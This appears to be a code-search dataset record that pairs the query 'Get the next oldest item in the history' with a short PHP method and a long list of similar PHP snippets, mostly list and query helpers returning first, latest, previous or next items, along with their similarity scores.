"public function getActiveItemsLatestFirst()\n {\n return $this->model\n ->where('is_active', 1)\n ->orderBy('created_at', 'DESC')\n ->get()\n ;\n }",
"protected function _getLatestItem()\n {\n if ($this->_latestItem == null) {\n $items = array_values($this->_criticalCollection->getItems());\n $this->_latestItem = false;\n if (count($items)) {\n $this->_latestItem = $items[0];\n }\n }\n return $this->_latestItem;\n }",
"public function getMostRecentUnStable()\n {\n return $this->selectRecentUnstable();\n }",
"public function getMostRecentBuild()\n {\n return $this->builds[0];\n }",
"public function getMostRecentStable()\n {\n return $this->selectRecentStable();\n }",
"public function lastUpdatedFirst()\n {\n return $this->addDescendingOrderByColumn(sfSimpleCMSSlotPeer::UPDATED_AT);\n }",
"public function lastUpdatedFirst()\n\t{\n\t\treturn $this->addDescendingOrderByColumn(RepositoryPeer::UPDATED_AT);\n\t}",
"public function getEarliestDate();",
"public function getAndRemoveFirstItem ();",
"function GetHistoryItem($val) /*12_05_2007 возвращает адрес из истории со смещением назад равным $val*/\n\t\t{\n\t\tif($this->history[count($this->history)-$val])\n\t\t\t$ret = $this->history[count($this->history)-$val];\n\t\telse\n\t\t\t$ret = $_SERVER['SERVER_NAME'];\n//\t\treturn $this->history[count($this->history)-1]; \n\t\treturn $ret;\n\t\t}",
"public function first() {\n return reset($this->list);\n }",
"public static function mostRecent()\n {\n return self::latest()->published()->first();\n }",
"public function prev_entry()\n\t{\n\t\treturn $this->_prev_next('prev');\n\t}",
"public function getLatestRecord();",
"public function getPrev()\n {\n return self::find()->where(['<', 'id', $this->id])->orderBy(['id' => SORT_DESC])->limit(1)->one();\n }",
"public function firstItem();",
"public function messagesNewestFirst() {\n return $this->messages()->orderBy('created_at', 'desc')->get();\n }",
"public function lastUpdatedFirst()\n {\n return $this->addDescendingOrderByColumn(TranslationContentPeer::UPDATED_AT);\n }",
"public function last()\n {\n return $this->execGetRequest(['allow_state' => true], UrlBuilder::RESOURCE_GET_LATEST_NEWS);\n }",
"public function getEarliestHistoryAttribute() {\n if ( App::runningUnitTests() ) {\n return true;\n }\n\n //in testing units, factory run first so no user logins\n if(!auth()->user()){\n return true;\n }\n\n $data = $this->where('lead_id', $this->lead_id)->orderBy('created_at', 'ASC')->first();\n\n if ($data) return $data->created_at;\n\n return true;\n }",
"public function lastUpdatedFirst()\n {\n return $this->addDescendingOrderByColumn(SearchIndexPeer::UPDATED_AT);\n }",
"public function oldest($column = 'created_at')\n {\n return $this->orderBy($column, 'asc');\n }",
"function get_recent_items($num = 10)\n{\n return get_db()->getTable('Item')->findBy(array('sort_field' => 'added', 'sort_dir' => 'd'), $num);\n}",
"public function lastCreatedFirst()\n {\n return $this->addDescendingOrderByColumn(sfSimpleCMSSlotPeer::CREATED_AT);\n }",
"public function getPrevious() {}",
"function getHistory() {\n\t\treturn db_query_params ('SELECT * FROM artifact_history_user_vw WHERE artifact_id=$1 ORDER BY entrydate DESC, id ASC',\n\t\t\t\t\tarray ($this->getID())) ;\n\t}",
"function getLastItem() { return $this->m_lastItem; }",
"function block_core_navigation_get_most_recently_published_navigation()\n {\n }",
"public function getTop();",
"public function first()\n {\n return reset($this->items);\n }",
"public function lastItem();",
"public function firstUpdatedFirst()\n\t{\n\t\treturn $this->addAscendingOrderByColumn(RepositoryPeer::UPDATED_AT);\n\t}",
"public function getFirst()\n\t{\n\t\t$this->_db->setQuery(\"SELECT publish_up FROM $this->_tbl ORDER BY publish_up ASC LIMIT 1\");\n\t\treturn $this->_db->loadResult();\n\t}",
"public function peek()\n {\n // Return the last item in \"items\" without removing it.\n return $this->list[$this->length - 1];\n }",
"public function lastCreatedFirst()\n\t{\n\t\treturn $this->addDescendingOrderByColumn(RepositoryPeer::CREATED_AT);\n\t}",
"public function getLatest(): Job;",
"public function TopMost()\n {\n $tblNavItem = NavigationItem::Schema()->Table();\n $sql = Access::SqlBuilder();\n $where = $sql->Equals($tblNavItem->Field('Navigation'), $sql->Value($this->navi->GetID()))\n ->And_($sql->IsNull($tblNavItem->Field('Parent')))\n ->And_($sql->IsNull($tblNavItem->Field('Previous')));\n \n return NavigationItem::Schema()->First($where);\n }",
"function getFirstItem() { return $this->m_firstItem; }",
"public function lastUpdatedFirst()\n {\n return $this->addDescendingOrderByColumn(PlanPeer::UPDATED_AT);\n }",
"public function getPreviousPost()\n\t{\n\t\treturn static::find()\n\t\t\t->where('id < :id', [':id' => $this->id])\n\t\t\t->orderBy('time_create DESC')->limit(1)->One();\n\t}",
"public function firstUpdatedFirst()\n {\n return $this->addAscendingOrderByColumn(TranslationContentPeer::UPDATED_AT);\n }",
"function getLastViewed();",
"static public function latestOpen() {\n\n\t\t$sql = \"SELECT * FROM `\". static::$tableName .\"` WHERE `status`='OPEN' ORDER BY `start_date` ASC LIMIT 1\";\n\t\t$q = new Firelit\\Query($sql);\n\n\t\treturn $q->getObject( get_called_class() );\n\n\t}",
"public function mostRecentRun() {\n\t\t$activities = $this->activities();\n\t\treturn reset($activities);\n\t}",
"public function getFirstItem();",
"final public function getPrevious() {\n\t\treturn null;\n\t}",
"public function getPrevious();",
"public function firstUpdatedFirst()\n {\n return $this->addAscendingOrderByColumn(sfSimpleCMSSlotPeer::UPDATED_AT);\n }",
"public function getFirstItem() {}",
"public function top()\n {\n return $this->getIterator()->top();\n }",
"public function getNew() { return $this->getNewItem(); }",
"public function getFirstItem() {}",
"abstract public function getLatestTag();",
"function prev() {\n\n $next = $this->find('first', array('conditions'=>array('position <'=>$this->data['Ringsite']['position']),\n 'order'=>'position DESC'));\n\n if (empty($next)) {\n $next = $this->find('first', array('conditions'=>array('position >='=>0),\n 'order'=>'position DESC'));\n }\n\n return $next;\n }",
"public function PreviousOf($item)\n {\n return $item->GetPrevious();\n }",
"public function firstUpdatedFirst()\n {\n return $this->addAscendingOrderByColumn(SearchIndexPeer::UPDATED_AT);\n }",
"protected function getLastOrder(){\n return $this->_orderFactory->create('Magento\\Sales\\Model\\Order')->loadByIncrementId($this->onepage->getLastOrderId());\n }",
"function getHistory()\n\t{\n\t\tif (intval($this->id)==0) {\n\t\t\treturn null;\n\t\t}\n\n\t\t// $db = Zend_Registry::get('db');\n\t\t// $sql = sprintf('select * from object_history where link_to=%d and link_id=%d order by cts desc',$ot,$id);\n\t\t// $rs = $db->fetch_all($sql);\n\t\t// return $rs;\n\n\t\t$s = 'select id,auth_user_id,ctime,link,f,v0,v1 from base_diff ';\n\t\t$s.= sprintf(' where link = \\'%s\\' ',$this->link() );\n\t\t// $s.= ' order by ctime ';\n\t\t$s.= ' union all ';\n\t\t$s.= 'select id,auth_user_id,cts,link,\\'-None-\\',message,null from object_history ';\n\t\t$s.= sprintf(' where link = \\'%s\\' ',$this->link() );\n\t\t$s.= ' order by ctime desc ';\n\n\t\t// $s = $d->select();\n\t\t// $s->from('object_history');\n\t\t// $s->where('link = ?', $this->link() );\n\t\t// $s->order('cts');\n\t\t$r = SQL::fetch_all($s);\n\t\treturn $r;\n\t}",
"public static function Newest() {\r\n\t\t$cls = get_called_class();\r\n\t\tif (isset(self::$_newest[$cls]) && self::$_newest[$cls]->exists()) {\r\n\t\t\treturn self::$_newest[$cls];\r\n\t\t}\r\n\t\treturn null;\t\t\r\n\t}",
"public function getLastItem()\n {\n if ($this->valid() === false) {\n return null;\n }\n return $this->getRow($this->count() - 1);\n }",
"public static function getLastWidget()\n {\n return (array) BackendModel::getContainer()->get('database')->getRecord(\n 'SELECT i.*\n FROM modules_extras AS i\n ORDER BY id DESC\n LIMIT 1'\n );\n }",
"public function lastUpdatedFirst()\n {\n return $this->addDescendingOrderByColumn(FreeShippingPeer::UPDATED_AT);\n }",
"public function firstPost()\n {\n return $this->posts()->oldest()->with('user')->first();\n }",
"public function first()\n {\n return count($this->items) > 0 ? reset($this->items) : null;\n }",
"public function getLast()\n\t{\n\t\t$this->_db->setQuery(\"SELECT publish_down FROM $this->_tbl ORDER BY publish_down DESC LIMIT 1\");\n\t\treturn $this->_db->loadResult();\n\t}",
"public function first() {\n\t\treturn $this->items[0];\n\t}",
"private function getMostRecentLineIndex()\n {\n $c = count($this->_model['lines']);\n if ($c <= 0) {\n throw new \\Exception(\"No lines have been added. The $memberName method applies to the most recent line. To use this function, first add a line.\");\n }\n\n return $c-1;\n }",
"public static function getFirstLowPriorityCall()\n {\n return static::query()\n ->whereNull('operator_id')\n ->where('priority', static::PRIORITY_LOW)\n ->first();\n }",
"public function lastCreatedFirst()\n {\n return $this->addDescendingOrderByColumn(SearchIndexPeer::CREATED_AT);\n }",
"public function lastUpdatedFirst()\n {\n return $this->addDescendingOrderByColumn(SchoolPeer::UPDATED_AT);\n }",
"public function first()\r\n\t{\r\n\t\treturn reset($this->_items);\r\n\t}",
"public function history_item_kind_for_new ()\n {\n if ($this->visible ())\n {\n return History_item_published;\n }\n\n return History_item_created;\n }",
"function cache_MostRecent($cc = null) {\n\t\tif ($cc === null) $cc = Session::read('castingCall');\n\t\t$ccIds = array_keys($cc);\n\t\tunset($ccIds['Lightbox']);\t// don't include Lightbox in this method\n\t\tif ($ccIds) {\n\t\t\tsort($ccIds);\n\t\t\treturn $cc[array_pop($ccIds)];\n\t\t} else return null;\n\t}",
"public function previousItem() {\n\t\treturn $this->previous()->current();\n\t}",
"public function getPreviousVersion()\n {\n $versions = $this->getVersions();\n\n return count($versions) > 1 ? $versions[1] : 0;\n }",
"function action_history()\n{\n\tglobal $pagestore, $page, $full, $HistMax;\n\n\t$history = $pagestore->history($page);\n\n\tgen_headers($history[0][0]);\n\n\n\t$text = '';\n\t$latest_auth = '';\n\t$previous_ver = 0;\n\t$is_latest = 1;\n\n\tfor($i = 0; $i < count($history); $i++)\n\t{\n\t\tif($latest_auth == '')\n\t\t{\n\t\t\t$latest_auth = ($history[$i][3] == '' ? $history[$i][1]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t: $history[$i][3]);\n\t\t\t$latest_ver = $history[$i][2];\n\t\t}\n\n\t\tif($previous_ver == 0\n\t\t\t && $latest_auth != ($history[$i][3] == '' ? $history[$i][1]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t : $history[$i][3]))\n\t\t\t{ $previous_ver = $history[$i][2]; }\n\n\t\tif($i < $HistMax || $full)\n\t\t{\n\t\t\t$text = $text . html_history_entry($page, $history[$i][2],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $history[$i][0], $history[$i][1],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $history[$i][3],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $previous_ver == $history[$i][2] || !$full && $i == count($history)-1,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $is_latest, $history[$i][4]);\n\t\t}\n\n\t\t$is_latest = 0;\n\t}\n\n\tif($i >= $HistMax && !$full)\n\t\t{ $text = $text . html_fullhistory($page, count($history)); }\n\n\t$p1 = $pagestore->page($page);\n\t$p1->version = $previous_ver;\n\t$p2 = $pagestore->page($page);\n\t$p2->version = $latest_ver;\n\n\t$diff = diff_compute($p1->read(), $p2->read());\n\ttemplate_history(array('page' => $p2->as_array(),\n\t\t\t\t\t\t\t\t\t\t\t\t 'history' => $text,\n\t\t\t\t\t\t\t\t\t\t\t\t 'diff' => diff_parse($diff)));\n}",
"function getMostRecentCodeMovement() {\n $res = $this->all();\n $index = count($res) - 1;\n return $res{$index}->code;\n }\n}",
"function head() {\r\n return $this->list[0];\r\n }",
"public function lastCreatedFirst()\n {\n return $this->addDescendingOrderByColumn(TranslationContentPeer::CREATED_AT);\n }",
"public function FirstItem()\n {\n return ($start = $this->getPageStart()) ? $start + 1 : 1;\n }",
"public function first()\n {\n foreach ($this->items as $currentItem) {\n return $currentItem;\n }\n }",
"public static function getHeadRevision() {\n $settings = self::getSettings();\n if(!self::$_hasHeadRevisionIncremented) {\n if(self::newRevisionsAllowed()) {\n $settings->headrevision++;\n self::$_hasHeadRevisionIncremented = true;\n $settings->save();\n }\n }\n return $settings->headrevision;\n }",
"public function getRecentlyViewedItems()\n\t{\n\t\t$recentlyViewed = new Zend_Session_Namespace('recentlyViewed'); // Creating a new session with namespace\n\t\tif(!empty($recentlyViewed->recentlyViewedObject))\n\t\t{\t\n\t\t\techo '<div class=\"recentviewd\"><label id=\"recentviewtext\">Recently viewed</label><ul>';\n\t\t\t$rvSize = 0;\n\t\t\tif(sizeof($recentlyViewed->recentlyViewedObject) > 3)\n\t\t\t\t$rvSize = 3;\n\t\t\telse\n\t\t\t\t$rvSize = sizeof($recentlyViewed->recentlyViewedObject);\n\t\t\t\n\t\t\t$menuName = '';\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\tfor($i=0;$i<$rvSize;$i++)\n\t\t\t{\n\t\t\t\t$pagesplit = explode(\"!@#\",$recentlyViewed->recentlyViewedObject[$i]);\n\t\t\t\t$pagesplitName = $pagesplit[0]; \n\t\t\t\t$pagesplitLink = $pagesplit[1];\n\n\t\t\t\t/* Instead of url - display menu name for each list item*/\n\t\t\t\tif($pagesplitName != 'dashboard' && $pagesplitName != 'welcome' && $pagesplitName != 'viewsettings')\n\t\t\t\t{\n\t\t\t\t\t$selectQuery1 = \"select m.menuName from main_menu m where m.url = '/\".$pagesplitName.\"'\";\n\t\t\t\t\t$db = Zend_Db_Table::getDefaultAdapter();\n\t\t\t\t\t$sql=$db->query($selectQuery1);\n\t\t\t\t\t$resultarray = $sql->fetchAll();\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($resultarray))\n\t\t\t\t\t\t$menuName = ucfirst($resultarray[0]['menuName']);\n\t\t\t\t\telse $menuName = ucfirst($pagesplitName);\n\t\t\t\t}\n\t\t\t\telse $menuName = ucfirst($pagesplitName);\n\t\t\t\t/* Display of add, edit or view in each list item */\n\t\t\t\t$urldata = explode(\"/\",$pagesplitLink);\n\t\t\t\tif(isset($urldata[3]))\n\t\t\t\t{\n\t\t\t\t\tif($urldata[3] == 'add')\n\t\t\t\t\t\t$menuName .= '-Add';\n\t\t\t\t\telse if($urldata[3] == 'edit')\n\t\t\t\t\t\t$menuName .= '-Edit';\n\t\t\t\t\telse if($urldata[3] == 'view')\n\t\t\t\t\t\t$menuName .= '-View';\n\t\t\t\t\telse if($urldata[3] == 'viewsettings')\n\t\t\t\t\t\t$menuName = 'Settings';\n\t\t\t\t\telse if($urldata[3] == 'viewprofile')\n\t\t\t\t\t\t$menuName = 'Profile';\n\t\t\t\t\telse if($urldata[3] == 'changepassword')\n\t\t\t\t\t\t$menuName = 'Change password';\n\t\t\t\t}\t\t\t\t\t\t\t \n\t\t\t\techo '<li><span id=\"redirectlink\" onclick =\"redirecttolink(\\''.$pagesplitLink.'\\',\"\");\">'.$menuName.'</span><a href=\"javascript:void(0);\" onClick=\"closetab(this,\\''.$pagesplitName.'\\',\\''.$pagesplitLink.'\\')\"></a></li>';\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t}\n\t\t} \n\t\t$tmpPageLink = explode(\"/\",$_SERVER['REQUEST_URI']); \n\t\t$pageName = $tmpPageLink[2];\n\t\t$pageLink = $_SERVER['REQUEST_URI'];\n\t\t$a= 'index';\n\t\t\n\t\tif(isset($recentlyViewed->recentlyViewedObject))\n\t\t{\n\t\t\t\n\t\t\tif(sizeof($recentlyViewed->recentlyViewedObject) > 3 && $pageLink != BASE_URL && !in_array($pageName.\"!@#\".$pageLink, $recentlyViewed->recentlyViewedObject))\n\t\t\t{\n\t\t\t\tarray_shift($recentlyViewed->recentlyViewedObject);\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t}\n\t\t\tif($pageName != 'public')\n\t\t\t{\n\t\t\t\tif(!in_array($pageName.\"!@#\".$pageLink, $recentlyViewed->recentlyViewedObject))\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\tif($pageLink != BASE_URL)\n\t\t\t\t\t{\n\t\t\t\t\t\tarray_push($recentlyViewed->recentlyViewedObject,$pageName.\"!@#\".$pageLink);\n\t\t\t\t\t}\n\t\t\t\t} \t\t\t\t\t\t\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$recentlyViewed->recentlyViewedObject = array();\n\t\t\t\n\t\t\tif($pageLink != BASE_URL && !in_array($pageName.\"!@#\".$pageLink, $recentlyViewed->recentlyViewedObject)) \n\t\t\t\tarray_push($recentlyViewed->recentlyViewedObject,$pageName.\"!@#\".$pageLink);\n\t\t\t\n\t\t}\n\t\t\n\n\t\techo '</ul></div>';\n\t}",
"public function getFirst ()\n {\n return end ( $this->_list ) ;\n }",
"public function top();"
] | [
"0.66071826",
"0.6293744",
"0.61923194",
"0.61644775",
"0.6160332",
"0.615858",
"0.61446774",
"0.61036134",
"0.60581017",
"0.6037113",
"0.5974955",
"0.5974955",
"0.5940835",
"0.5904986",
"0.5879009",
"0.58756626",
"0.58594453",
"0.5852807",
"0.583605",
"0.5814146",
"0.58073145",
"0.5805137",
"0.5804584",
"0.5790233",
"0.5778224",
"0.5775909",
"0.5773654",
"0.5771972",
"0.57648456",
"0.57603616",
"0.5739557",
"0.5735316",
"0.5730486",
"0.57226455",
"0.56877023",
"0.56859326",
"0.5684444",
"0.5669135",
"0.5661201",
"0.5646473",
"0.56391895",
"0.56341577",
"0.5628091",
"0.56246495",
"0.56227934",
"0.5620548",
"0.5609043",
"0.56004035",
"0.55998904",
"0.5593135",
"0.5578906",
"0.55731237",
"0.55687046",
"0.55606353",
"0.55584943",
"0.5558006",
"0.5556901",
"0.55491036",
"0.55435497",
"0.55325824",
"0.55095106",
"0.5505085",
"0.54970485",
"0.5495135",
"0.54945046",
"0.5493952",
"0.54929185",
"0.54898375",
"0.548644",
"0.54656357",
"0.5464937",
"0.5461138",
"0.54590714",
"0.5454101",
"0.5448039",
"0.54446226",
"0.54346067",
"0.54342186",
"0.5427033",
"0.5413016",
"0.54093677",
"0.5409302",
"0.5406928",
"0.5404872",
"0.5404671",
"0.54019505",
"0.53856397",
"0.5385157",
"0.5384979",
"0.5379099",
"0.5377566",
"0.5377482",
"0.53639436",
"0.5362814",
"0.53586376",
"0.5351487",
"0.53497386",
"0.5347421",
"0.5346779",
"0.5345352"
] | 0.5792979 | 23 |
/ Get the next oldest item in the history | public function getNext ()
{
return prev ( $this->_list ) ;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function get_previous_item($item = null)\n{\n if (!$item) {\n $item = get_current_record('item');\n }\n return $item->previous();\n}",
"function getNextId() {\n\t\t$query = \"select min( $this->pKey ) from $this->table where $this->pKey > $this->id\";\n\t\treturn $this->getDb()->query( $query )->getFirst();\n\t}",
"public function getLatestItem()\n {\n return end($this->items);\n }",
"public function getLatestHistory() {\n $history = $this->getHistory();\n if (count($history) === 0) {\n return null;\n }\n return $history[count($history) - 1];\n }",
"public function getNextQueueItem() {\n $select = db_select($this->og_controller->queue_table, 'queue');\n $select->condition('queue.processed', 0);\n $select->fields('queue', array('entity_type', 'entity_id'));\n $select->range(0, 1);\n\n if ($item = $select->execute()->fetchObject()) {\n return new Dumper_Data_QueueItem($this->og_controller->og_node->nid, $item->entity_type, $item->entity_id);\n }\n\n return FALSE;\n }",
"public function get_next_object() { \n\n\t\t$tmp_id = Dba::escape($this->id);\n\t\t$order = \" ORDER BY tmp_playlist_data.id DESC\";\n\n\t\t$sql = \"SELECT tmp_playlist_data.object_id FROM tmp_playlist_data \" . \n\t\t\t\"WHERE tmp_playlist_data.tmp_playlist = '$tmp_id' $order LIMIT 1\";\n\t\t$db_results = Dba::query($sql);\n\n\t\t$results = Dba::fetch_assoc($db_results);\n\n\t\treturn $results['object_id'];\n\n\t}",
"public function getEarliest(): int\n {\n return $this->earliest;\n }",
"public function getNext()\n {\n return self::find()->where(['>', 'id', $this->id])->limit(1)->one();\n }",
"public function getPrevious() {}",
"public function getEarliestDate();",
"function get_previous_page(){\n\t\t$query = \"SELECT * FROM \" . Database::$table . \" ORDER BY timestamp DESC LIMIT 1\";\n\t\treturn Database::get_all_results($query);\n\t}",
"public function oldest()\n {\n if (func_num_args() == 0) {\n return $this->getOldest();\n }\n\n $this->setOldest(func_get_arg(0));\n\n return $this;\n }",
"public function fetch_next_bill() {\n $next_bill = self\n ::where('contract_id', $this->contract_id)\n ->where('monthrefdate', '=', $this->monthrefdate)\n ->where('monthseqnumber', '>', $this->monthseqnumber)\n ->orderBy('monthseqnumber', 'asc')\n ->first(); // skip(1) does not make it null if there's only \"itself\"\n\n if ($next_bill != null) {\n return $next_bill;\n }\n\n $next_bill = self\n ::where('contract_id', $this->contract_id)\n ->where('monthrefdate', '>', $this->monthrefdate)\n ->orderBy('monthrefdate', 'asc')\n ->orderBy('monthseqnumber', 'asc')\n ->first(); // skip(1) does not make it null if there's only \"itself\"\n\n return $next_bill;\n}",
"public function latest();",
"function prev() {\n\n $next = $this->find('first', array('conditions'=>array('position <'=>$this->data['Ringsite']['position']),\n 'order'=>'position DESC'));\n\n if (empty($next)) {\n $next = $this->find('first', array('conditions'=>array('position >='=>0),\n 'order'=>'position DESC'));\n }\n\n return $next;\n }",
"public function getPrevious();",
"function get_next_item($item = null)\n{\n if (!$item) {\n $item = get_current_record('item');\n }\n return $item->next();\n}",
"public function getLastItem() {}",
"public function getLastItem() {}",
"public function prev_entry()\n\t{\n\t\treturn $this->_prev_next('prev');\n\t}",
"public function getPrev()\n {\n return self::find()->where(['<', 'id', $this->id])->orderBy(['id' => SORT_DESC])->limit(1)->one();\n }",
"public function getAndRemoveFirstItem ();",
"public function firstItem();",
"public function first() {\n return reset($this->list);\n }",
"public function next()\n {\n $this->incrIndex();\n\n return $this->getCurrent();\n }",
"public function PreviousOf($item)\n {\n return $item->GetPrevious();\n }",
"protected function _get_next_incrementer() {\n\t\t// Get the old integer\n\t\t$channel_id = $this->EE->input->get('channel_id');\n\t\t$old_number = $this->EE->db->select($this->field_name)\n\t\t\t\t\t\t\t\t ->where('channel_id', $this->EE->input->get('channel_id'))\n\t\t\t\t\t\t\t\t ->order_by('entry_id DESC')\n\t\t\t\t\t\t\t\t ->limit(1)\n\t\t\t\t\t\t\t\t ->get('channel_data')\n\t\t\t\t\t\t\t\t ->row();\n\t\t\n\t\t// Do we have one?\n\t\tif ($old_number) {\n\t\t\t// Increment\n\t\t\t$new_number = (int)$old_number->{$this->field_name} + 1;\n\t\t} else {\n\t\t\t// Start at 1\n\t\t\t$new_number = 1;\n\t\t}\n\t\t\n\t\t// Return it\n\t\treturn $new_number;\n\t}",
"public function getLast ()\n {\n return reset ( $this->_list ) ;\n }",
"public function peek()\n {\n // Return the last item in \"items\" without removing it.\n return $this->list[$this->length - 1];\n }",
"public function getNext() {\n return $this->getNextMaxTimeStamp();\n }",
"public function getNext () {\n $cond = \" AND id > :id ORDER BY ID ASC LIMIT 1 \";\n $bind = array(\n \":id\" => $this->id);\n return Dao::getEntityByCond('LessonUserRef', $cond, $bind);\n }",
"public function GetNextIgnored() {\n foreach ($this->list as $item) {\n if ($item->Status == -1) {\n if ($this->lastIgnoredReturn && $item == $this->lastIgnoredReturn) {\n continue;\n } else {\n $this->lastIgnoredReturn = $item;\n }\n\n return $this->lastIgnoredReturn;\n }\n }\n\n return null;\n }",
"private function _get_next_order()\n\t{\n\t\t$result = $this->order_by('order','desc')->limit(1)->get_all();\n\n\t\tif($result)\n\t\t{\n\n\t\t\t$order = $result[0]->order + 1;\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$order = 0;\n\t\t}\t\n\n\t\treturn $order;\n\t}",
"public function getLatest(): Supplier;",
"public function getNextProgressiveNumber()\n {\n $currentDate = date('Y-m-d');\n // instead of the hardcoded date, we introduced the parameter\n return $this->getNextProgressiveNumberByDate($currentDate);\n }",
"function getNext():string {\r\n\t\t\tif ($this->items === NULL) {\r\n\t\t\t\t$this->init();\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif ($this->cursor >= count($this->items)) {\r\n\t\t\t\treturn \"\";\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$this->cursor++;\r\n\r\n\t\t\treturn $this->items[$this->cursor - 1];\r\n\t\t}",
"public function getEarliestHistoryAttribute() {\n if ( App::runningUnitTests() ) {\n return true;\n }\n\n //in testing units, factory run first so no user logins\n if(!auth()->user()){\n return true;\n }\n\n $data = $this->where('lead_id', $this->lead_id)->orderBy('created_at', 'ASC')->first();\n\n if ($data) return $data->created_at;\n\n return true;\n }",
"public function next_entry()\n\t{\n\t\treturn $this->_prev_next('next');\n\t}",
"public function getPreviousValue();",
"public function prev(){\n\t\t$this->nextRow(-1,'min');\n\t}",
"public function getNextPost()\n\t{\n\t\treturn static::find()\n\t\t\t->where('id > :id', [':id' => $this->id])\n\t\t\t->orderBy('time_create ASC')->limit(1)->One();\n\t}",
"function top()\n {\n return $this->items[count($this->items) - 1];\n }",
"public function previousVersion()\n {\n return $this->versions()->orderBy(Version::CREATED_AT, 'DESC')->limit(1)->offset(1)->first();\n }",
"public function getLatestRecord();",
"public function first()\n {\n return reset($this->items);\n }",
"public function getNextProcess() {\n\t\t$bean = $this->unbox();\n\t\t$processes = $bean->with(' AND `status` = \"Queued\" ORDER BY `id` ASC LIMIT 1 ')->ownProcess;\n\t\treturn end($processes);\n\t}",
"public function FirstItem()\n {\n return ($start = $this->getPageStart()) ? $start + 1 : 1;\n }",
"protected function _getLatestItem()\n {\n if ($this->_latestItem == null) {\n $items = array_values($this->_criticalCollection->getItems());\n $this->_latestItem = false;\n if (count($items)) {\n $this->_latestItem = $items[0];\n }\n }\n return $this->_latestItem;\n }",
"public function getActiveItemsLatestFirst()\n {\n return $this->model\n ->where('is_active', 1)\n ->orderBy('created_at', 'DESC')\n ->get()\n ;\n }",
"public static function next()\n {\n\n \t$oTask = Task::where('processFrom', '<', Carbon::now())->first();\n\n \treturn $oTask;\n }",
"public function next()\n {\n next($this->revs);\n }",
"public function lastItem() {\n\t\treturn $this->fastForward()->current();\n\t}",
"public function getFirstItem()\n {\n if ($this->valid() === false) {\n return null;\n }\n return $this->rewind()->current();\n }",
"function next_event() {\n include(\"connection.php\");\n try {\n $next_result = $db->query(\n \"SELECT date_time, event, description\n FROM events\n WHERE date_time >= CURDATE()\n ORDER BY date_time ASC\n LIMIT 1\"\n );\n } catch (Exception $e) {\n echo \"Unable to retrieve results\";\n exit;\n }\n\n $next = $next_result->fetchALL();\n return $next;\n}",
"public function lastItem();",
"public function first() {\n\t\t$result = $this->get_result();\n\n\t\treturn array_shift( $result );\n\t}",
"public function first();",
"public function first();",
"public function first();",
"public function first();",
"public function first();",
"public function first();",
"public function first();",
"public function first();",
"public function first()\n {\n foreach ($this->items as $currentItem) {\n return $currentItem;\n }\n }",
"public function getLatest(): Job;",
"public function peekFirst();",
"public function getNext() {\r\n $nextDate = $this->getStartDate();\r\n $nextDate->modify('+1 ' . $this->getMode());\r\n\r\n return $nextDate->getTimestamp();\r\n }",
"public function getPreviousRecordId($id)\n {\n return $this->model->where('id', '<', $id)->max('id');\n // return \\DB::table($this->model->getTable())->where('id', '<', $id)->orderBy('id','desc')->first()->id; // For performance testing\n }",
"function get_recent_items($num = 10)\n{\n return get_db()->getTable('Item')->findBy(array('sort_field' => 'added', 'sort_dir' => 'd'), $num);\n}",
"public function getNext() {}",
"public function getNext() {}",
"public function oldest($column = 'created_at')\n {\n return $this->orderBy($column, 'asc');\n }",
"function getLastItem() { return $this->m_lastItem; }",
"public function getNextEvent(){\n\t\t// get the events\n\t\t$events = $this->getEvents();\n\n\t\t// extract the next event that will happen\n\t\t$nextEvent = array_shift($events);\n\t\tfor ($i = 1; $i < sizeof($events); $i++){\n\t\t\t$event = array_shift($events);\n\t\t\tif($events[0]['is_approved'] == 1 && $events[0]['date'] > $nextEvent['date']){\n\t\t\t\t$nextEvent = $event;\n\t\t\t}\n\t\t}\n\n\t\treturn $nextEvent;\n\t}",
"function GetHistoryItem($val) /*12_05_2007 возвращает адрес из истории со смещением назад равным $val*/\n\t\t{\n\t\tif($this->history[count($this->history)-$val])\n\t\t\t$ret = $this->history[count($this->history)-$val];\n\t\telse\n\t\t\t$ret = $_SERVER['SERVER_NAME'];\n//\t\treturn $this->history[count($this->history)-1]; \n\t\treturn $ret;\n\t\t}",
"protected function fetchAdjacentLesser(){\r\n $query = static::prepareSQL(\r\n 'SELECT *\r\n FROM %table\r\n WHERE %orderby_col < ?\r\n AND parent_id = ?\r\n ORDER BY %orderby_col DESC\r\n LIMIT 1'\r\n );\r\n\r\n $query->execute([$this->{$this->orderby}, $this->parent_id]);\r\n return $query->fetch();\r\n }",
"public function getNextOrderingValue()\n {\n $qb = $this->createQueryBuilder('c')\n ->select('MAX(c.ordering)')\n ->setMaxResults(1);\n\n $ordering = $qb->getQuery()->getSingleScalarResult();\n if ($ordering === null) {\n return 1;\n }\n\n return $ordering + 1;\n }",
"public function getCurrent() {\n return $this->current-1;\n }",
"public static function first();",
"private function get_newest_post() {\n\t\t// If set in the admin get the top story.\n\t\t$newest_post = get_option( 'current-top-story' );\n\t\t$title = '' !== $newest_post ? sanitize_text_field( wp_unslash( $newest_post ) ) : '';\n\n\t\t$args = array(\n\t\t\t'numberposts' => 1,\n\t\t\t'orderby' => 'post_date',\n\t\t\t'order' => 'DESC',\n\t\t\t'post_type' => 'post',\n\t\t\t'post_status' => 'publish',\n\t\t\t's' => $title,\n\t\t);\n\n\t\t$post_array = wp_get_recent_posts( $args, OBJECT );\n\n\t\treturn $post_array[0];\n\t}",
